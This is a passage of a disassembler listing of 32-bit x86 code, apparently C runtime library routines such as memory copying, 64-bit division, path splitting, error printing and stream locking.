		mov	esi, ecx
		mov	dword ptr [esi], offset	off_43749C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_42BA0E
		push	dword ptr [edi+4]
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42BA14
		push	dword ptr [edi+4]
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx
		jmp	short loc_42BA14
; ---------------------------------------------------------------------------


loc_42BA0E:				; CODE XREF: sub_42B9D1+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42BA14:				; CODE XREF: sub_42B9D1+2Ej
					; sub_42B9D1+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42B9D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BA1B	proc near		; CODE XREF: sub_41B2D9+2Bp
					; sub_41B38A+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_43749C
		jz	short locret_42BA30
		push	dword ptr [ecx+4]
		call	sub_4290D0
		pop	ecx

locret_42BA30:				; CODE XREF: sub_42BA1B+Aj
		retn
sub_42BA1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BA31	proc near		; DATA XREF: .text:004374A0o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_42BA3D
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_42BA3D:				; CODE XREF: sub_42BA31+5j
		retn
sub_42BA31	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BA3E	proc near		; CODE XREF: .text:0042BA6Ap
		push	esi
		mov	esi, ecx
		push	1Bh
		mov	dword ptr [esi], offset	off_4374BC
		call	sub_42DAEF
		mov	esi, [esi+4]
		pop	ecx
		test	esi, esi
		jz	short loc_42BA5D
		push	esi
		call	sub_4298F2
		pop	ecx


loc_42BA5D:				; CODE XREF: sub_42BA3E+16j
		push	1Bh
		call	sub_42DB50
		pop	ecx
		pop	esi
		retn
sub_42BA3E	endp

; ---------------------------------------------------------------------------


loc_42BA67:				; DATA XREF: .text:off_4374BCo
		push	esi
		mov	esi, ecx
		call	sub_42BA3E
		test	byte ptr [esp+8], 1
		jz	short loc_42BA7D
		push	esi
		call	sub_4290D0
		pop	ecx


loc_42BA7D:				; CODE XREF: .text:0042BA74j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BA90	proc near		; CODE XREF: sub_41B55A+3Ap
					; sub_42C925+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_42BAB0
		cmp	edi, eax
		jb	loc_42BC28


loc_42BAB0:				; CODE XREF: sub_42BA90+16j
		test	edi, 3
		jnz	short loc_42BACC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_42BAEC
		rep movsd
		jmp	off_42BBD8[edx*4]
; ---------------------------------------------------------------------------


loc_42BACC:				; CODE XREF: sub_42BA90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_42BAE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_42BAEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_42BAE4:				; CODE XREF: sub_42BA90+46j
		jmp	dword ptr loc_42BBE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42BAEC:				; CODE XREF: sub_42BA90+31j
					; sub_42BA90+8Ej ...
		jmp	off_42BB6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_42BAFD+3
		dd offset loc_42BB2C
; ---------------------------------------------------------------------------
		push	eax


loc_42BAFD:				; DATA XREF: sub_42BA90+64o
		mov	ebx, 0D1230042h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_42BAEC
		rep movsd
		jmp	off_42BBD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42BB2C:				; DATA XREF: sub_42BA90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_42BAEC
		rep movsd
		jmp	off_42BBD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_42BAEC
		rep movsd
		jmp	off_42BBD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_42BB6C	dd offset loc_42BBCF	; DATA XREF: sub_42BA90:loc_42BAECr
		dd offset loc_42BBBC
		dd offset loc_42BBB4
		dd offset loc_42BBAC
		dd offset loc_42BBA4
		dd offset loc_42BB9C
		dd offset loc_42BB94
		dd offset loc_42BB8C
; ---------------------------------------------------------------------------


loc_42BB8C:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_42BB94:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_42BB9C:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_42BBA4:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_42BBAC:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_42BBB4:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_42BBBC:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_42BBCF:				; CODE XREF: sub_42BA90:loc_42BAECj
					; DATA XREF: sub_42BA90:off_42BB6Co
		jmp	off_42BBD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_42BBD8	dd offset loc_42BBE8	; DATA XREF: sub_42BA90+35r
					; sub_42BA90+92r ...
		dd offset loc_42BBF0
		dd offset loc_42BBFC
		dd offset loc_42BC10
; ---------------------------------------------------------------------------


loc_42BBE8:				; CODE XREF: sub_42BA90+35j
					; sub_42BA90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42BBF0:				; CODE XREF: sub_42BA90+35j
					; sub_42BA90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42BBFC:				; CODE XREF: sub_42BA90+35j
					; sub_42BA90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42BC10:				; CODE XREF: sub_42BA90+35j
					; sub_42BA90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42BC28:				; CODE XREF: sub_42BA90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_42BC5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_42BC50
		std
		rep movsd
		cld
		jmp	off_42BD70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_42BC50:				; CODE XREF: sub_42BA90+1B1j
					; sub_42BA90+208j ...
		neg	ecx
		jmp	off_42BD20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42BC5C:				; CODE XREF: sub_42BA90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_42BC74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_42BC74+4[eax*4]
; ---------------------------------------------------------------------------


loc_42BC74:				; CODE XREF: sub_42BA90+1D6j
					; DATA XREF: sub_42BA90+1DDr
		jmp	off_42BD70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_42BC84+4
		dd offset loc_42BCA8
; ---------------------------------------------------------------------------


loc_42BC84:				; DATA XREF: sub_42BA90+1ECo
		sar	byte ptr [edx+eax*2+3468A00h], 1
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_42BC50
		std
		rep movsd
		cld
		jmp	off_42BD70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42BCA8:				; DATA XREF: sub_42BA90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_42BC50
		std
		rep movsd
		cld
		jmp	off_42BD70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_42BC50
		std
		rep movsd
		cld
		jmp	off_42BD70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_42BD24
		dd offset loc_42BD2C
		dd offset loc_42BD34
		dd offset loc_42BD3C
		dd offset loc_42BD44
		dd offset loc_42BD4C
		dd offset loc_42BD54
off_42BD20	dd offset loc_42BD67	; DATA XREF: sub_42BA90+1C2r
; ---------------------------------------------------------------------------


loc_42BD24:				; DATA XREF: sub_42BA90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_42BD2C:				; DATA XREF: sub_42BA90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_42BD34:				; DATA XREF: sub_42BA90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_42BD3C:				; DATA XREF: sub_42BA90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_42BD44:				; DATA XREF: sub_42BA90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_42BD4C:				; DATA XREF: sub_42BA90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_42BD54:				; DATA XREF: sub_42BA90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_42BD67:				; CODE XREF: sub_42BA90+1C2j
					; DATA XREF: sub_42BA90:off_42BD20o
		jmp	off_42BD70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_42BD70	dd offset loc_42BD80	; DATA XREF: sub_42BA90+1B7r
					; sub_42BA90:loc_42BC74r ...
		dd offset loc_42BD88
		dd offset loc_42BD98
		dd offset loc_42BDAC
; ---------------------------------------------------------------------------


loc_42BD80:				; CODE XREF: sub_42BA90+1B7j
					; sub_42BA90:loc_42BC74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42BD88:				; CODE XREF: sub_42BA90+1B7j
					; sub_42BA90:loc_42BC74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42BD98:				; CODE XREF: sub_42BA90+1B7j
					; sub_42BA90:loc_42BC74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42BDAC:				; CODE XREF: sub_42BA90+1B7j
					; sub_42BA90:loc_42BC74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_42BA90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42BDD0	proc near		; CODE XREF: sub_41BD4B+3Dp
					; sub_427E4F+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_42BDF1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_42BE41
; ---------------------------------------------------------------------------


loc_42BDF1:				; CODE XREF: sub_42BDD0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_42BDFF:				; CODE XREF: sub_42BDD0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_42BDFF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_42BE2A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_42BE2A
		jb	short loc_42BE32
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_42BE32


loc_42BE2A:				; CODE XREF: sub_42BDD0+4Aj
					; sub_42BDD0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_42BE32:				; CODE XREF: sub_42BDD0+52j
					; sub_42BDD0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_42BE41:				; CODE XREF: sub_42BDD0+1Fj
		pop	ebx
		retn	10h
sub_42BDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42BE50	proc near		; CODE XREF: sub_41BD4B+24p
					; sub_427E4F+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_42BE72
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_42BEB3
; ---------------------------------------------------------------------------


loc_42BE72:				; CODE XREF: sub_42BE50+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_42BE80:				; CODE XREF: sub_42BE50+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_42BE80
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42BEAE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_42BEAE
		jb	short loc_42BEAF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_42BEAF


loc_42BEAE:				; CODE XREF: sub_42BE50+4Ej
					; sub_42BE50+54j
		dec	esi


loc_42BEAF:				; CODE XREF: sub_42BE50+56j
					; sub_42BE50+5Cj
		xor	edx, edx
		mov	eax, esi


loc_42BEB3:				; CODE XREF: sub_42BE50+20j
		pop	esi
		pop	ebx
		retn	10h
sub_42BE50	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BEB8	proc near		; CODE XREF: sub_41EC9D+14Cp
					; sub_41EC9D+15Ep

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_450EE0
		push	edi
		push	esi
		push	1
		call	sub_42C203
		push	esi
		call	sub_432104
		mov	edi, eax
		lea	eax, [esp+18h+arg_4]
		push	eax
		push	[esp+1Ch+arg_0]
		push	esi
		call	sub_42DC7D
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_432191
		push	esi
		push	1
		call	sub_42C255
		add	esp, 28h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42BEB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BEF9	proc near		; CODE XREF: sub_41EC9D+12Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	2
		pop	edi
		push	edi
		call	sub_43241B
		mov	esi, [esp+0Ch+arg_0]
		pop	ecx
		test	esi, esi
		jz	short loc_42BF2F
		cmp	byte ptr [esi],	0
		jz	short loc_42BF2F
		push	esi
		call	sub_4293A0
		push	eax
		push	esi
		push	edi
		call	sub_432501
		push	edi
		push	offset asc_450388 ; ": "
		push	edi
		call	sub_432501
		add	esp, 1Ch


loc_42BF2F:				; CODE XREF: sub_42BEF9+12j
					; sub_42BEF9+17j
		call	sub_42F119
		cmp	dword ptr [eax], 0
		jl	short loc_42BF51
		call	sub_42F119
		mov	eax, [eax]
		cmp	eax, dword_453994
		jge	short loc_42BF51
		call	sub_42F119
		mov	eax, [eax]
		jmp	short loc_42BF56
; ---------------------------------------------------------------------------


loc_42BF51:				; CODE XREF: sub_42BEF9+3Ej
					; sub_42BEF9+4Dj
		mov	eax, dword_453994


loc_42BF56:				; CODE XREF: sub_42BEF9+56j
		mov	esi, off_4538E4[eax*4]
		push	esi
		call	sub_4293A0
		push	eax
		push	esi
		push	edi
		call	sub_432501
		push	1
		push	offset asc_440D90 ; "\n"
		push	edi
		call	sub_432501
		push	edi
		call	sub_43247A
		add	esp, 20h
		pop	edi
		pop	esi
		retn
sub_42BEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BF84	proc near		; CODE XREF: sub_42BF90j
		push	offset off_450EC0
		call	sub_4326BD
		pop	ecx
		retn
sub_42BF84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42BF90	proc near		; CODE XREF: sub_41F0F5+3B6p
		jmp	sub_42BF84
sub_42BF90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BF95	proc near		; CODE XREF: sub_41F876+2F1p
					; sub_41FC58+154p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4293A0
		cmp	eax, 1
		pop	ecx
		jb	short loc_42BFD0
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_42BFD0
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_42BFCC
		push	2
		push	ebx
		push	esi
		call	sub_432ABC
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_42BFCC:				; CODE XREF: sub_42BF95+25j
		inc	ebx
		inc	ebx
		jmp	short loc_42BFDA
; ---------------------------------------------------------------------------


loc_42BFD0:				; CODE XREF: sub_42BF95+18j
					; sub_42BF95+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_42BFDA
		and	byte ptr [eax],	0


loc_42BFDA:				; CODE XREF: sub_42BF95+39j
					; sub_42BF95+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_42C052


loc_42BFED:				; CODE XREF: sub_42BF95+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_676DC1[edx], 4
		jz	short loc_42BFFE
		inc	eax
		jmp	short loc_42C018
; ---------------------------------------------------------------------------


loc_42BFFE:				; CODE XREF: sub_42BF95+64j
		cmp	cl, 2Fh
		jz	short loc_42C012
		cmp	cl, 5Ch
		jz	short loc_42C012
		cmp	cl, 2Eh
		jnz	short loc_42C018
		mov	[ebp+var_4], eax
		jmp	short loc_42C018
; ---------------------------------------------------------------------------


loc_42C012:				; CODE XREF: sub_42BF95+6Cj
					; sub_42BF95+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_42C018:				; CODE XREF: sub_42BF95+67j
					; sub_42BF95+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42BFED
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_42C052
		cmp	[ebp+arg_8], 0
		jz	short loc_42C04D
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_42C036
		mov	edi, esi


loc_42C036:				; CODE XREF: sub_42BF95+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_432ABC
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_42C04D:				; CODE XREF: sub_42BF95+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_42C05C
; ---------------------------------------------------------------------------


loc_42C052:				; CODE XREF: sub_42BF95+56j
					; sub_42BF95+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_42C05C
		and	byte ptr [ecx],	0


loc_42C05C:				; CODE XREF: sub_42BF95+BBj
					; sub_42BF95+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_42C0AF
		cmp	edi, ebx
		jb	short loc_42C0AF
		cmp	[ebp+arg_C], 0
		jz	short loc_42C08C
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_42C075
		mov	edi, esi


loc_42C075:				; CODE XREF: sub_42BF95+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_432ABC
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_42C08C:				; CODE XREF: sub_42BF95+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_42C0D7
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_42C09C
		mov	esi, eax


loc_42C09C:				; CODE XREF: sub_42BF95+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_432ABC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_42C0D7
; ---------------------------------------------------------------------------


loc_42C0AF:				; CODE XREF: sub_42BF95+CCj
					; sub_42BF95+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_42C0CD
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_42C0BE
		mov	esi, eax


loc_42C0BE:				; CODE XREF: sub_42BF95+125j
		push	esi
		push	ebx
		push	edi
		call	sub_432ABC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_42C0CD:				; CODE XREF: sub_42BF95+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_42C0D7
		and	byte ptr [eax],	0


loc_42C0D7:				; CODE XREF: sub_42BF95+FCj
					; sub_42BF95+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42BF95	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C0DC	proc near		; CODE XREF: sub_41FC58+184p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	esi
		call	sub_42C1D4
		push	esi
		call	sub_432104
		mov	edi, eax
		lea	eax, [esp+14h+arg_8]
		push	eax
		push	[esp+18h+arg_4]
		push	esi
		call	sub_42DC7D
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_432191
		push	esi
		call	sub_42C226
		add	esp, 20h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42C0DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C118	proc near		; DATA XREF: .text:0043A01Co
		mov	eax, dword_678020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42C12C
		mov	eax, 200h
		jmp	short loc_42C132
; ---------------------------------------------------------------------------


loc_42C12C:				; CODE XREF: sub_42C118+Bj
		cmp	eax, esi
		jge	short loc_42C137
		mov	eax, esi


loc_42C132:				; CODE XREF: sub_42C118+12j
		mov	dword_678020, eax


loc_42C137:				; CODE XREF: sub_42C118+16j
		push	4
		push	eax
		call	sub_42B39A
		pop	ecx
		mov	dword_67700C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_42C16B
		push	4
		push	esi
		mov	dword_678020, esi
		call	sub_42B39A
		pop	ecx
		mov	dword_67700C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_42C16B
		push	1Ah
		call	sub_42C67C
		pop	ecx


loc_42C16B:				; CODE XREF: sub_42C118+30j
					; sub_42C118+49j
		xor	ecx, ecx
		mov	eax, offset off_450EC0


loc_42C172:				; CODE XREF: sub_42C118+6Ej
		mov	edx, dword_67700C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset off_451140
		jl	short loc_42C172
		xor	ecx, ecx
		mov	edx, offset dword_450ED0


loc_42C18F:				; CODE XREF: sub_42C118+A4j
		mov	esi, ecx
		mov	eax, ecx
		sar	esi, 5
		and	eax, 1Fh
		mov	esi, dword_676EE0[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C1AF
		test	eax, eax
		jnz	short loc_42C1B2


loc_42C1AF:				; CODE XREF: sub_42C118+91j
		or	dword ptr [edx], 0FFFFFFFFh


loc_42C1B2:				; CODE XREF: sub_42C118+95j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_450F30
		jl	short loc_42C18F
		pop	esi
		retn
sub_42C118	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C1C0	proc near		; DATA XREF: .text:0043A030o
		call	sub_42F335
		cmp	byte_676A04, 0
		jz	short locret_42C1D3
		jmp	sub_432B56
; ---------------------------------------------------------------------------

locret_42C1D3:				; CODE XREF: sub_42C1C0+Cj
		retn
sub_42C1C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C1D4	proc near		; CODE XREF: sub_42A10B+16p
					; sub_42A188+7p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_450EC0
		cmp	eax, ecx
		jb	short loc_42C1F8
		cmp	eax, offset dword_451120
		ja	short loc_42C1F8
		sub	eax, ecx
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_42DAEF
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C1F8:				; CODE XREF: sub_42C1D4+Bj
					; sub_42C1D4+12j
		add	eax, 20h
		push	eax
		call	dword_4370CC	; RtlEnterCriticalSection
		retn
sub_42C1D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C203	proc near		; CODE XREF: sub_42BEB8+Bp
					; sub_42F33E+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_42C217
		add	eax, 1Ch
		push	eax
		call	sub_42DAEF
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C217:				; CODE XREF: sub_42C203+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_4370CC	; RtlEnterCriticalSection
		retn
sub_42C203	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C226	proc near		; CODE XREF: sub_42A10B+24p
					; sub_42A188+22p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_450EC0
		cmp	eax, ecx
		jb	short loc_42C24A
		cmp	eax, offset dword_451120
		ja	short loc_42C24A
		sub	eax, ecx
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_42DB50
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C226+Bj
					; sub_42C226+12j
		add	eax, 20h
		push	eax
